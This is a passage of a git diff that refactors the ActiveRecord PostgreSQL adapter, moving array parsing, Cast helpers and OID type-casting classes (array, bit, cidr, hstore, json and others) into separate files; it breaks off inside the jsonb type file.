+ DOUBLE_QUOTE = '"'
+ BACKSLASH = "\\"
+ COMMA = ','
+ BRACKET_OPEN = '{'
+ BRACKET_CLOSE = '}'
+
+ def parse_pg_array(string) # :nodoc:
+ local_index = 0
+ array = []
+ while(local_index < string.length)
+ case string[local_index]
+ when BRACKET_OPEN
+ local_index,array = parse_array_contents(array, string, local_index + 1)
+ when BRACKET_CLOSE
+ return array
end
+ local_index += 1
end
- def parse_data(string, index)
- local_index = index
- array = []
- while(local_index < string.length)
- case string[local_index]
- when '{'
- local_index,array = parse_array_contents(array, string, local_index + 1)
- when '}'
- return array
- end
- local_index += 1
- end
+ array
+ end
- array
- end
+ private
def parse_array_contents(array, string, index)
- is_escaping = false
- is_quoted = false
- was_quoted = false
+ is_escaping = false
+ is_quoted = false
+ was_quoted = false
current_item = ''
local_index = index
@@ -47,29 +42,29 @@ module ActiveRecord
else
if is_quoted
case token
- when '"'
+ when DOUBLE_QUOTE
is_quoted = false
was_quoted = true
- when "\\"
+ when BACKSLASH
is_escaping = true
else
current_item << token
end
else
case token
- when "\\"
+ when BACKSLASH
is_escaping = true
- when ','
+ when COMMA
add_item_to_array(array, current_item, was_quoted)
current_item = ''
was_quoted = false
- when '"'
+ when DOUBLE_QUOTE
is_quoted = true
- when '{'
+ when BRACKET_OPEN
internal_items = []
local_index,internal_items = parse_array_contents(internal_items, string, local_index + 1)
array.push(internal_items)
- when '}'
+ when BRACKET_CLOSE
add_item_to_array(array, current_item, was_quoted)
return local_index,array
else
@@ -84,8 +79,9 @@ module ActiveRecord
end
def add_item_to_array(array, current_item, quoted)
- if current_item.length == 0
- elsif !quoted && current_item == 'NULL'
+ return if !quoted && current_item.length == 0
+
+ if !quoted && current_item == 'NULL'
array.push nil
else
array.push current_item
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb b/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
deleted file mode 100644
index c04a799b8d..0000000000
--- a/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
+++ /dev/null
@@ -1,126 +0,0 @@
-module ActiveRecord
- module ConnectionAdapters
- class PostgreSQLColumn < Column
- module Cast
- def string_to_time(string)
- return string unless String === string
-
- case string
- when 'infinity'; 1.0 / 0.0
- when '-infinity'; -1.0 / 0.0
- when / BC$/
- super("-" + string.sub(/ BC$/, ""))
- else
- super
- end
- end
-
- def hstore_to_string(object)
- if Hash === object
- object.map { |k,v|
- "#{escape_hstore(k)}=>#{escape_hstore(v)}"
- }.join ','
- else
- object
- end
- end
-
- def string_to_hstore(string)
- if string.nil?
- nil
- elsif String === string
- Hash[string.scan(HstorePair).map { |k,v|
- v = v.upcase == 'NULL' ? nil : v.gsub(/^"(.*)"$/,'\1').gsub(/\\(.)/, '\1')
- k = k.gsub(/^"(.*)"$/,'\1').gsub(/\\(.)/, '\1')
- [k,v]
- }]
- else
- string
- end
- end
-
- def json_to_string(object)
- if Hash === object
- ActiveSupport::JSON.encode(object)
- else
- object
- end
- end
-
- def array_to_string(value, column, adapter, should_be_quoted = false)
- casted_values = value.map do |val|
- if String === val
- if val == "NULL"
- "\"#{val}\""
- else
- quote_and_escape(adapter.type_cast(val, column, true))
- end
- else
- adapter.type_cast(val, column, true)
- end
- end
- "{#{casted_values.join(',')}}"
- end
-
- def string_to_json(string)
- if String === string
- ActiveSupport::JSON.decode(string)
- else
- string
- end
- end
-
- def string_to_cidr(string)
- if string.nil?
- nil
- elsif String === string
- IPAddr.new(string)
- else
- string
- end
- end
-
- def cidr_to_string(object)
- if IPAddr === object
- "#{object.to_s}/#{object.instance_variable_get(:@mask_addr).to_s(2).count('1')}"
- else
- object
- end
- end
-
- def string_to_array(string, oid)
- parse_pg_array(string).map{|val| oid.type_cast val}
- end
-
- private
-
- HstorePair = begin
- quoted_string = /"[^"\\]*(?:\\.[^"\\]*)*"/
- unquoted_string = /(?:\\.|[^\s,])[^\s=,\\]*(?:\\.[^\s=,\\]*|=[^,>])*/
- /(#{quoted_string}|#{unquoted_string})\s*=>\s*(#{quoted_string}|#{unquoted_string})/
- end
-
- def escape_hstore(value)
- if value.nil?
- 'NULL'
- else
- if value == ""
- '""'
- else
- '"%s"' % value.to_s.gsub(/(["\\])/, '\\\\\1')
- end
- end
- end
-
- def quote_and_escape(value)
- case value
- when "NULL"
- value
- else
- "\"#{value.gsub(/"/,"\\\"")}\""
- end
- end
- end
- end
- end
-end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/column.rb b/activerecord/lib/active_record/connection_adapters/postgresql/column.rb
new file mode 100644
index 0000000000..37e5c3859c
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/column.rb
@@ -0,0 +1,20 @@
+module ActiveRecord
+ module ConnectionAdapters
+ # PostgreSQL-specific extensions to column definitions in a table.
+ class PostgreSQLColumn < Column #:nodoc:
+ attr_accessor :array
+
+ def initialize(name, default, cast_type, sql_type = nil, null = true, default_function = nil)
+ if sql_type =~ /\[\]$/
+ @array = true
+ super(name, default, cast_type, sql_type[0..sql_type.length - 3], null)
+ else
+ @array = false
+ super(name, default, cast_type, sql_type, null)
+ end
+
+ @default_function = default_function
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
index 34d7a246b2..d09468329a 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
@@ -1,8 +1,6 @@
-require 'active_support/deprecation'
-
module ActiveRecord
module ConnectionAdapters
- class PostgreSQLAdapter < AbstractAdapter
+ module PostgreSQL
module DatabaseStatements
def explain(arel, binds = [])
sql = "EXPLAIN #{to_sql(arel, binds)}"
@@ -46,10 +44,32 @@ module ActiveRecord
end
end
+ def select_value(arel, name = nil, binds = [])
+ arel, binds = binds_from_relation arel, binds
+ sql = to_sql(arel, binds)
+ execute_and_clear(sql, name, binds) do |result|
+ result.getvalue(0, 0) if result.ntuples > 0 && result.nfields > 0
+ end
+ end
+
+ def select_values(arel, name = nil)
+ arel, binds = binds_from_relation arel, []
+ sql = to_sql(arel, binds)
+ execute_and_clear(sql, name, binds) do |result|
+ if result.nfields > 0
+ result.column_values(0)
+ else
+ []
+ end
+ end
+ end
+
# Executes a SELECT query and returns an array of rows. Each row is an
# array of field values.
- def select_rows(sql, name = nil)
- select_raw(sql, name).last
+ def select_rows(sql, name = nil, binds = [])
+ execute_and_clear(sql, name, binds) do |result|
+ result.values
+ end
end
# Executes an INSERT query and returns the new record's ID
@@ -74,6 +94,11 @@ module ActiveRecord
super.insert
end
+ # The internal PostgreSQL identifier of the money data type.
+ MONEY_COLUMN_TYPE_OID = 790 #:nodoc:
+ # The internal PostgreSQL identifier of the BYTEA data type.
+ BYTEA_COLUMN_TYPE_OID = 17 #:nodoc:
+
# create a 2D array representing the result set
def result_as_array(res) #:nodoc:
# check if we have any binary column and if they need escaping
@@ -131,39 +156,21 @@ module ActiveRecord
end
end
- def substitute_at(column, index)
- Arel::Nodes::BindParam.new "$#{index + 1}"
- end
-
def exec_query(sql, name = 'SQL', binds = [])
- log(sql, name, binds) do
- result = binds.empty? ? exec_no_cache(sql, binds) :
- exec_cache(sql, binds)
-
+ execute_and_clear(sql, name, binds) do |result|
types = {}
- result.fields.each_with_index do |fname, i|
+ fields = result.fields
+ fields.each_with_index do |fname, i|
ftype = result.ftype i
fmod = result.fmod i
- types[fname] = OID::TYPE_MAP.fetch(ftype, fmod) { |oid, mod|
- warn "unknown OID: #{fname}(#{oid}) (#{sql})"
- OID::Identity.new
- }
+ types[fname] = get_oid_type(ftype, fmod, fname)
end
-
- ret = ActiveRecord::Result.new(result.fields, result.values, types)
- result.clear
- return ret
+ ActiveRecord::Result.new(fields, result.values, types)
end
end
def exec_delete(sql, name = 'SQL', binds = [])
- log(sql, name, binds) do
- result = binds.empty? ? exec_no_cache(sql, binds) :
- exec_cache(sql, binds)
- affected = result.cmd_tuples
- result.clear
- affected
- end
+ execute_and_clear(sql, name, binds) {|result| result.cmd_tuples }
end
alias :exec_update :exec_delete
@@ -219,25 +226,6 @@ module ActiveRecord
def rollback_db_transaction
execute "ROLLBACK"
end
-
- def outside_transaction?
- message = "#outside_transaction? is deprecated. This method was only really used " \
- "internally, but you can use #transaction_open? instead."
- ActiveSupport::Deprecation.warn message
- @connection.transaction_status == PGconn::PQTRANS_IDLE
- end
-
- def create_savepoint
- execute("SAVEPOINT #{current_savepoint_name}")
- end
-
- def rollback_to_savepoint
- execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
- end
-
- def release_savepoint
- execute("RELEASE SAVEPOINT #{current_savepoint_name}")
- end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
index 52344f61c0..d28a2b4fa0 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
@@ -1,276 +1,35 @@
-require 'active_record/connection_adapters/abstract_adapter'
+require 'active_record/connection_adapters/postgresql/oid/infinity'
+
+require 'active_record/connection_adapters/postgresql/oid/array'
+require 'active_record/connection_adapters/postgresql/oid/bit'
+require 'active_record/connection_adapters/postgresql/oid/bit_varying'
+require 'active_record/connection_adapters/postgresql/oid/bytea'
+require 'active_record/connection_adapters/postgresql/oid/cidr'
+require 'active_record/connection_adapters/postgresql/oid/date'
+require 'active_record/connection_adapters/postgresql/oid/date_time'
+require 'active_record/connection_adapters/postgresql/oid/decimal'
+require 'active_record/connection_adapters/postgresql/oid/enum'
+require 'active_record/connection_adapters/postgresql/oid/float'
+require 'active_record/connection_adapters/postgresql/oid/hstore'
+require 'active_record/connection_adapters/postgresql/oid/inet'
+require 'active_record/connection_adapters/postgresql/oid/integer'
+require 'active_record/connection_adapters/postgresql/oid/json'
+require 'active_record/connection_adapters/postgresql/oid/jsonb'
+require 'active_record/connection_adapters/postgresql/oid/money'
+require 'active_record/connection_adapters/postgresql/oid/point'
+require 'active_record/connection_adapters/postgresql/oid/range'
+require 'active_record/connection_adapters/postgresql/oid/specialized_string'
+require 'active_record/connection_adapters/postgresql/oid/time'
+require 'active_record/connection_adapters/postgresql/oid/uuid'
+require 'active_record/connection_adapters/postgresql/oid/vector'
+require 'active_record/connection_adapters/postgresql/oid/xml'
+
+require 'active_record/connection_adapters/postgresql/oid/type_map_initializer'
module ActiveRecord
module ConnectionAdapters
- class PostgreSQLAdapter < AbstractAdapter
- module OID
- class Type
- def type; end
-
- def type_cast_for_write(value)
- value
- end
- end
-
- class Identity < Type
- def type_cast(value)
- value
- end
- end
-
- class Bytea < Type
- def type_cast(value)
- PGconn.unescape_bytea value
- end
- end
-
- class Money < Type
- def type_cast(value)
- return if value.nil?
-
- # Because money output is formatted according to the locale, there are two
- # cases to consider (note the decimal separators):
- # (1) $12,345,678.12
- # (2) $12.345.678,12
-
- case value
- when /^-?\D+[\d,]+\.\d{2}$/ # (1)
- value.gsub!(/[^-\d.]/, '')
- when /^-?\D+[\d.]+,\d{2}$/ # (2)
- value.gsub!(/[^-\d,]/, '').sub!(/,/, '.')
- end
-
- ConnectionAdapters::Column.value_to_decimal value
- end
- end
-
- class Vector < Type
- attr_reader :delim, :subtype
-
- # +delim+ corresponds to the `typdelim` column in the pg_types
- # table. +subtype+ is derived from the `typelem` column in the
- # pg_types table.
- def initialize(delim, subtype)
- @delim = delim
- @subtype = subtype
- end
-
- # FIXME: this should probably split on +delim+ and use +subtype+
- # to cast the values. Unfortunately, the current Rails behavior
- # is to just return the string.
- def type_cast(value)
- value
- end
- end
-
- class Array < Type
- attr_reader :subtype
- def initialize(subtype)
- @subtype = subtype
- end
-
- def type_cast(value)
- if String === value
- ConnectionAdapters::PostgreSQLColumn.string_to_array value, @subtype
- else
- value
- end
- end
- end
-
- class Integer < Type
- def type_cast(value)
- return if value.nil?
-
- value.to_i rescue value ? 1 : 0
- end
- end
-
- class Boolean < Type
- def type_cast(value)
- return if value.nil?
-
- ConnectionAdapters::Column.value_to_boolean value
- end
- end
-
- class Timestamp < Type
- def type; :timestamp; end
-
- def type_cast(value)
- return if value.nil?
-
- # FIXME: probably we can improve this since we know it is PG
- # specific
- ConnectionAdapters::PostgreSQLColumn.string_to_time value
- end
- end
-
- class Date < Type
- def type; :datetime; end
-
- def type_cast(value)
- return if value.nil?
-
- # FIXME: probably we can improve this since we know it is PG
- # specific
- ConnectionAdapters::Column.value_to_date value
- end
- end
-
- class Time < Type
- def type_cast(value)
- return if value.nil?
-
- # FIXME: probably we can improve this since we know it is PG
- # specific
- ConnectionAdapters::Column.string_to_dummy_time value
- end
- end
-
- class Float < Type
- def type_cast(value)
- return if value.nil?
-
- value.to_f
- end
- end
-
- class Decimal < Type
- def type_cast(value)
- return if value.nil?
-
- ConnectionAdapters::Column.value_to_decimal value
- end
- end
-
- class Hstore < Type
- def type_cast(value)
- return if value.nil?
-
- ConnectionAdapters::PostgreSQLColumn.string_to_hstore value
- end
- end
-
- class Cidr < Type
- def type_cast(value)
- return if value.nil?
-
- ConnectionAdapters::PostgreSQLColumn.string_to_cidr value
- end
- end
-
- class Json < Type
- def type_cast(value)
- return if value.nil?
-
- ConnectionAdapters::PostgreSQLColumn.string_to_json value
- end
- end
-
- class TypeMap
- def initialize
- @mapping = {}
- end
-
- def []=(oid, type)
- @mapping[oid] = type
- end
-
- def [](oid)
- @mapping[oid]
- end
-
- def key?(oid)
- @mapping.key? oid
- end
-
- def fetch(ftype, fmod)
- # The type for the numeric depends on the width of the field,
- # so we'll do something special here.
- #
- # When dealing with decimal columns:
- #
- # places after decimal = fmod - 4 & 0xffff
- # places before decimal = (fmod - 4) >> 16 & 0xffff
- if ftype == 1700 && (fmod - 4 & 0xffff).zero?
- ftype = 23
- end
-
- @mapping.fetch(ftype) { |oid| yield oid, fmod }
- end
- end
-
- TYPE_MAP = TypeMap.new # :nodoc:
-
- # When the PG adapter connects, the pg_type table is queried. The
- # key of this hash maps to the `typname` column from the table.
- # TYPE_MAP is then dynamically built with oids as the key and type
- # objects as values.
- NAMES = Hash.new { |h,k| # :nodoc:
- h[k] = OID::Identity.new
- }
-
- # Register an OID type named +name+ with a typcasting object in
- # +type+. +name+ should correspond to the `typname` column in
- # the `pg_type` table.
- def self.register_type(name, type)
- NAMES[name] = type
- end
-
- # Alias the +old+ type to the +new+ type.
- def self.alias_type(new, old)
- NAMES[new] = NAMES[old]
- end
-
- # Is +name+ a registered type?
- def self.registered_type?(name)
- NAMES.key? name
- end
-
- register_type 'int2', OID::Integer.new
- alias_type 'int4', 'int2'
- alias_type 'int8', 'int2'
- alias_type 'oid', 'int2'
-
- register_type 'numeric', OID::Decimal.new
- register_type 'text', OID::Identity.new
- alias_type 'varchar', 'text'
- alias_type 'char', 'text'
- alias_type 'bpchar', 'text'
- alias_type 'xml', 'text'
-
- # FIXME: why are we keeping these types as strings?
- alias_type 'tsvector', 'text'
- alias_type 'interval', 'text'
- alias_type 'bit', 'text'
- alias_type 'varbit', 'text'
- alias_type 'macaddr', 'text'
- alias_type 'uuid', 'text'
-
- # FIXME: I don't think this is correct. We should probably be returning a parsed date,
- # but the tests pass with a string returned.
- register_type 'timestamptz', OID::Identity.new
-
- register_type 'money', OID::Money.new
- register_type 'bytea', OID::Bytea.new
- register_type 'bool', OID::Boolean.new
-
- register_type 'float4', OID::Float.new
- alias_type 'float8', 'float4'
-
- register_type 'timestamp', OID::Timestamp.new
- register_type 'date', OID::Date.new
- register_type 'time', OID::Time.new
-
- register_type 'path', OID::Identity.new
- register_type 'polygon', OID::Identity.new
- register_type 'circle', OID::Identity.new
- register_type 'hstore', OID::Hstore.new
- register_type 'json', OID::Json.new
-
- register_type 'cidr', OID::Cidr.new
- alias_type 'inet', 'cidr'
+ module PostgreSQL
+ module OID # :nodoc:
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb
new file mode 100644
index 0000000000..cd5efe2bb8
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb
@@ -0,0 +1,96 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Array < Type::Value # :nodoc:
+ include Type::Mutable
+
+ # Loads pg_array_parser if available. String parsing can be
+ # performed quicker by a native extension, which will not create
+ # a large amount of Ruby objects that will need to be garbage
+ # collected. pg_array_parser has a C and Java extension
+ begin
+ require 'pg_array_parser'
+ include PgArrayParser
+ rescue LoadError
+ require 'active_record/connection_adapters/postgresql/array_parser'
+ include PostgreSQL::ArrayParser
+ end
+
+ attr_reader :subtype, :delimiter
+ delegate :type, to: :subtype
+
+ def initialize(subtype, delimiter = ',')
+ @subtype = subtype
+ @delimiter = delimiter
+ end
+
+ def type_cast_from_database(value)
+ if value.is_a?(::String)
+ type_cast_array(parse_pg_array(value), :type_cast_from_database)
+ else
+ super
+ end
+ end
+
+ def type_cast_from_user(value)
+ type_cast_array(value, :type_cast_from_user)
+ end
+
+ def type_cast_for_database(value)
+ if value.is_a?(::Array)
+ cast_value_for_database(value)
+ else
+ super
+ end
+ end
+
+ private
+
+ def type_cast_array(value, method)
+ if value.is_a?(::Array)
+ value.map { |item| type_cast_array(item, method) }
+ else
+ @subtype.public_send(method, value)
+ end
+ end
+
+ def cast_value_for_database(value)
+ if value.is_a?(::Array)
+ casted_values = value.map { |item| cast_value_for_database(item) }
+ "{#{casted_values.join(delimiter)}}"
+ else
+ quote_and_escape(subtype.type_cast_for_database(value))
+ end
+ end
+
+ ARRAY_ESCAPE = "\\" * 2 * 2 # escape the backslash twice for PG arrays
+
+ def quote_and_escape(value)
+ case value
+ when ::String
+ if string_requires_quoting?(value)
+ value = value.gsub(/\\/, ARRAY_ESCAPE)
+ value.gsub!(/"/,"\\\"")
+ %("#{value}")
+ else
+ value
+ end
+ when nil then "NULL"
+ else value
+ end
+ end
+
+ # See http://www.postgresql.org/docs/9.2/static/arrays.html#ARRAYS-IO
+ # for a list of all cases in which strings will be quoted.
+ def string_requires_quoting?(string)
+ string.empty? ||
+ string == "NULL" ||
+ string =~ /[\{\}"\\\s]/ ||
+ string.include?(delimiter)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb
new file mode 100644
index 0000000000..1dbb40ca1d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb
@@ -0,0 +1,52 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Bit < Type::Value # :nodoc:
+ def type
+ :bit
+ end
+
+ def type_cast(value)
+ if ::String === value
+ case value
+ when /^0x/i
+ value[2..-1].hex.to_s(2) # Hexadecimal notation
+ else
+ value # Bit-string notation
+ end
+ else
+ value
+ end
+ end
+
+ def type_cast_for_database(value)
+ Data.new(super) if value
+ end
+
+ class Data
+ def initialize(value)
+ @value = value
+ end
+
+ def to_s
+ value
+ end
+
+ def binary?
+ /\A[01]*\Z/ === value
+ end
+
+ def hex?
+ /\A[0-9A-F]*\Z/i === value
+ end
+
+ protected
+
+ attr_reader :value
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb
new file mode 100644
index 0000000000..4c21097d48
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb
@@ -0,0 +1,13 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class BitVarying < OID::Bit # :nodoc:
+ def type
+ :bit_varying
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb
new file mode 100644
index 0000000000..997613d7be
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb
@@ -0,0 +1,14 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Bytea < Type::Binary # :nodoc:
+ def type_cast_from_database(value)
+ return if value.nil?
+ PGconn.unescape_bytea(super)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb
new file mode 100644
index 0000000000..222f10fa8f
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb
@@ -0,0 +1,46 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Cidr < Type::Value # :nodoc:
+ def type
+ :cidr
+ end
+
+ def type_cast_for_schema(value)
+ subnet_mask = value.instance_variable_get(:@mask_addr)
+
+ # If the subnet mask is equal to /32, don't output it
+ if subnet_mask == (2**32 - 1)
+ "\"#{value}\""
+ else
+ "\"#{value}/#{subnet_mask.to_s(2).count('1')}\""
+ end
+ end
+
+ def type_cast_for_database(value)
+ if IPAddr === value
+ "#{value}/#{value.instance_variable_get(:@mask_addr).to_s(2).count('1')}"
+ else
+ value
+ end
+ end
+
+ def cast_value(value)
+ if value.nil?
+ nil
+ elsif String === value
+ begin
+ IPAddr.new(value)
+ rescue ArgumentError
+ nil
+ end
+ else
+ value
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/date.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date.rb
new file mode 100644
index 0000000000..1d8d264530
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date.rb
@@ -0,0 +1,11 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Date < Type::Date # :nodoc:
+ include Infinity
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb
new file mode 100644
index 0000000000..b9e7894e5c
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb
@@ -0,0 +1,27 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class DateTime < Type::DateTime # :nodoc:
+ include Infinity
+
+ def cast_value(value)
+ if value.is_a?(::String)
+ case value
+ when 'infinity' then ::Float::INFINITY
+ when '-infinity' then -::Float::INFINITY
+ when / BC$/
+ astronomical_year = format("%04d", -value[/^\d+/].to_i + 1)
+ super(value.sub(/ BC$/, "").sub(/^\d+/, astronomical_year))
+ else
+ super
+ end
+ else
+ value
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb
new file mode 100644
index 0000000000..43d22c8daf
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb
@@ -0,0 +1,13 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Decimal < Type::Decimal # :nodoc:
+ def infinity(options = {})
+ BigDecimal.new("Infinity") * (options[:negative] ? -1 : 1)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb
new file mode 100644
index 0000000000..77d5038efd
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb
@@ -0,0 +1,17 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Enum < Type::Value # :nodoc:
+ def type
+ :enum
+ end
+
+ def type_cast(value)
+ value.to_s
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/float.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/float.rb
new file mode 100644
index 0000000000..78ef94b912
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/float.rb
@@ -0,0 +1,21 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Float < Type::Float # :nodoc:
+ include Infinity
+
+ def cast_value(value)
+ case value
+ when ::Float then value
+ when 'Infinity' then ::Float::INFINITY
+ when '-Infinity' then -::Float::INFINITY
+ when 'NaN' then ::Float::NAN
+ else value.to_f
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb
new file mode 100644
index 0000000000..be4525c94f
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb
@@ -0,0 +1,59 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Hstore < Type::Value # :nodoc:
+ include Type::Mutable
+
+ def type
+ :hstore
+ end
+
+ def type_cast_from_database(value)
+ if value.is_a?(::String)
+ ::Hash[value.scan(HstorePair).map { |k, v|
+ v = v.upcase == 'NULL' ? nil : v.gsub(/\A"(.*)"\Z/m,'\1').gsub(/\\(.)/, '\1')
+ k = k.gsub(/\A"(.*)"\Z/m,'\1').gsub(/\\(.)/, '\1')
+ [k, v]
+ }]
+ else
+ value
+ end
+ end
+
+ def type_cast_for_database(value)
+ if value.is_a?(::Hash)
+ value.map { |k, v| "#{escape_hstore(k)}=>#{escape_hstore(v)}" }.join(', ')
+ else
+ value
+ end
+ end
+
+ def accessor
+ ActiveRecord::Store::StringKeyedHashAccessor
+ end
+
+ private
+
+ HstorePair = begin
+ quoted_string = /"[^"\\]*(?:\\.[^"\\]*)*"/
+ unquoted_string = /(?:\\.|[^\s,])[^\s=,\\]*(?:\\.[^\s=,\\]*|=[^,>])*/
+ /(#{quoted_string}|#{unquoted_string})\s*=>\s*(#{quoted_string}|#{unquoted_string})/
+ end
+
+ def escape_hstore(value)
+ if value.nil?
+ 'NULL'
+ else
+ if value == ""
+ '""'
+ else
+ '"%s"' % value.to_s.gsub(/(["\\])/, '\\\\\1')
+ end
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb
new file mode 100644
index 0000000000..96486fa65b
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb
@@ -0,0 +1,13 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Inet < Cidr # :nodoc:
+ def type
+ :inet
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/infinity.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/infinity.rb
new file mode 100644
index 0000000000..e47780399a
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/infinity.rb
@@ -0,0 +1,13 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ module Infinity # :nodoc:
+ def infinity(options = {})
+ options[:negative] ? -::Float::INFINITY : ::Float::INFINITY
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/integer.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/integer.rb
new file mode 100644
index 0000000000..59abdc0009
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/integer.rb
@@ -0,0 +1,11 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Integer < Type::Integer # :nodoc:
+ include Infinity
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb
new file mode 100644
index 0000000000..e12ddd9901
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb
@@ -0,0 +1,35 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Json < Type::Value # :nodoc:
+ include Type::Mutable
+
+ def type
+ :json
+ end
+
+ def type_cast_from_database(value)
+ if value.is_a?(::String)
+ ::ActiveSupport::JSON.decode(value)
+ else
+ super
+ end
+ end
+
+ def type_cast_for_database(value)
+ if value.is_a?(::Array) || value.is_a?(::Hash)
+ ::ActiveSupport::JSON.encode(value)
+ else
+ super
+ end
+ end
+
+ def accessor
+ ActiveRecord::Store::StringKeyedHashAccessor
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb
new file mode 100644
index 0000000000..380c50fc14
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb
@@ -0,0 +1,23 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module PostgreSQL
+ module OID # :nodoc:
+ class Jsonb < Json # :nodoc:
+ def type
+ :jsonb
+ end
+
+ def changed_in_place?(raw_old_value, new_value)
